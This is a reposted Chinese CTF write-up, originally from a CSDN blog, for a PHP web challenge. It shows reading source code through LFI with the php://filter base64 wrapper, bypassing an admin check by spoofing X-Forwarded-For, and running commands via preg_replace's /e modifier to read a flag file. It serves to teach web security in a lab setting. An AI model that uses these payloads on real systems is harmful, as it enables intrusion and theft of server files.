php 文件包含base64讀取文件 preg_replace函數


解題部分
題目來源
攻防世界web高手進階區
1.拿到題目以后,發現是一個index.php的頁面,並且設備…沒有顯示完全,此位置可疑。
2.源代碼中發現?page=index,出現page這個get參數,聯想到可能存在文件包含讀源碼的漏洞,嘗試讀取index.php的頁面源碼

通過php內置協議直接讀取代碼

/index.php?page=php://filter/read=convert.base64-encode/resource=index.php

  

LFI漏洞的黑盒判斷方法:
單純的從URL判斷的話,URL中path、dir、file、pag、page、archive、p、eng、語言文件等相關關鍵字眼的時候,可能存在文件包含漏洞。
此處,因為源碼中有提示?page=index,所以讀一下index.php中的源碼
3.對源碼進行base64解密

 


得到源碼后開始審計

//方便的實現輸入輸出的功能,正在開發中的功能,只能內部人員測試
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {

echo "<br >Welcome My Admin ! <br >";

$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];

if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject);
}else{
die();
}
}

  

此處存在preg_replace函數,嘗試測試是否存在命令注入漏洞
函數作用:搜索subject中匹配pattern的部分, 以replacement進行替換。
此處明顯考察的是preg_replace 函數使用 /e 模式,導致代碼執行的問題。也就是說,pat值和sub值相同,rep的代碼就會執行。
XFF改成127.0.0.1之后,GET進來三個參數。這里調用了preg_replace函數。並且沒有對pat進行過濾,所以可以傳入"/e"觸發漏洞,觸發后replacement的語句是會得到執行的,首先執行一下phpinfo

 

 

 


執行成功
然后使用system(“ls”)嘗試獲取文件目錄

 

 


使用cd進入目標文件
system(“cd+s3chahahaDir/flag+%26%26+ls”)
為了避免編碼問題,此處不能使用空格隔開,而是使用+,%26%26為&&,意思是當前面命令執行成功時,繼續執行后面的命令。

 

 


最后使用cat命令獲取flag.php中的文件
成功獲取flag。

 

 

總結:
思路建立:
1.由?page=index聯想到可能存在文件包含讀源碼的漏洞,使用/index.php?page=php://filter/read=convert.base64-encode/resource=index.php獲取index.php中源碼
2.讀取源碼后,進行代碼審計。發現存在preg_replace函數,嘗試利用命令執行漏洞,獲取到文件目錄,最終找到目標文件
3.讀取存在flag的文件,得到flag。
主要技能點:
文件包含漏洞
PHP偽協議中的 php://filter
preg_replace函數引發的命令執行漏洞
————————————————
版權聲明:本文為CSDN博主「CliffordWR」的原創文章,遵循 CC 4.0 BY-SA 版權協議,轉載請附上原文出處鏈接及本聲明。
原文鏈接:https://blog.csdn.net/CliffordR/article/details/98472156


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM